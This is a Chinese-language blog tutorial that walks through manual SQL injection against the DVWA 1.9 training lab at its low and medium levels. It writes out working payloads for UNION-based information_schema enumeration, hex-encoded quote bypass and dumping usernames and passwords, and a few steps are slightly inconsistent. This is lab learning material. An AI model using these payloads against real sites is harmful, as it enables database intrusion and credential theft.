DVWA1.9 SQL注入全等級手工注入流程
最近想學習一下sql注入手工注入過,下面我將通過DVWA1.9的sql注入點進行手工注入。
手工注入的過程如下,MYSQL >5.0版的手工注入的原理主要是查詢information_schema索引庫來獲取目標資料庫的內容。
1.判斷是否存在注入,注入是字元型還是數字型
2.猜解SQL查詢語句中的欄位數
3.確定顯示的欄位順序
4.獲取當前資料庫
5.獲取資料庫中的表
6.獲取表中的欄位名
7.下載資料
low
1. 判斷注入型別
1.首先在注入點出輸入1’,判斷id引數存在SQL注入漏洞。
2.輸入1 and 1=1 以及1 and 1=2 檢視結果無報錯,說明不是數字型的注入。
3.輸入1’ and ‘1’ =‘2 以及1’ or ‘1’ =‘1 其中1’ or ‘1’ ='1將所有的值返回出來,由此可以判斷注入為字元型的注入。
2.猜解欄位數
猜解欄位數方法可以使用order by語句進行欄位數的猜解,具體的使用方法如下:
1.在方框處輸入1′ or ‘1’='1 order by 2# 回顯成功。
2.在方框處輸入1′ or ‘1’='1 order by 3# 回顯錯誤如下圖所所示,表示目標只有兩個欄位。
3.猜解欄位順序
猜解欄位的順序使用的是聯合查詢:union select ,具體的猜解方法如下:
1.在方框處輸入1’ union select 1,2#,顯示結果如下圖所示,union select 後面的數字1,2在頁面上顯示出來了,說明sql語句查詢出來的結果在頁面上顯示的順序為First name為第一個欄位,Surname為第二個欄位。
4.獲取當前資料庫
1.在輸入框處的1’ union select 1,database()#,便可以在surname引數值處顯示資料庫的名字,如下圖,顯示的資料庫名為dvwa。
5.獲取資料庫中的表
1.在輸入框中輸入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
顯示出了兩個表,一個叫guestbook,一個叫users。
2.或者輸入1’ union select 1,table_name from information_schema.tables where table_schema=database() #,爆出的結果如下,顯示的內容為三行,由此可以確定group_concat()作用為把相同欄位的內容列印在一起。
6.獲取表中的欄位名
1.在輸入框中輸入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,顯示出users表中有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等8個欄位。
7.獲取欄位值
1.在輸入框中輸入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,獲取的結果如下圖所示,最後一行的值為資料庫中的內容。
Medium
DVWA1.9 SQL 注入medium級別的環境請求方式改為了post型別,我們使用burp來進行測試。
1. 判斷注入型別
1.將id引數值改為1 or 1 = 1,輸入結果如下圖所示,爆出來了所有的使用者,由此可以判斷出注入型別為數字型注入。
2.猜解欄位數
1.將id引數值改為1 or 1 = 1 order by 2#,返回成功,如下圖。
2.將id引數值改為1 or 1 = 1 order by 3#,返回成功,如下圖,未返回任何值,說明有2個欄位。
3.猜解欄位順序
1.將id引數值修改為1 union select 1,2#,返回成功,判斷出頁面傳輸的順序:First name為第一個欄位,Surname為第二個欄位。
4.獲取當前資料庫
1.將id引數的值修改為1 union select 1,database()#,返回成功,輸出的結果可以判斷出目標資料庫的名為dvwa。
5.獲取資料庫中的表
1.將id引數的值改為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,可以判斷出資料庫中存在兩個表,一個表為users,一個表為guestbook。
6.獲取表中的欄位名
1.將引數id的值改為1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,返回結果為空,因為過濾了單引號(’),將’ 轉義為了’。
2.將“‘users’”進行16進位制轉義,id引數的值改為了:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,返回成功,獲取到了資料庫user表的欄位值。
7.獲取欄位值
1.在輸入框中輸入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,獲取的結果如下圖所示,最後一行的值為資料庫中的內容。
HIGH
high級別的注入加了一個彈窗,除此之外與low級別的注入沒有什麼區別,這裡就不在過多的進行演示了。
總結
本人小白,請各位表哥批評指正。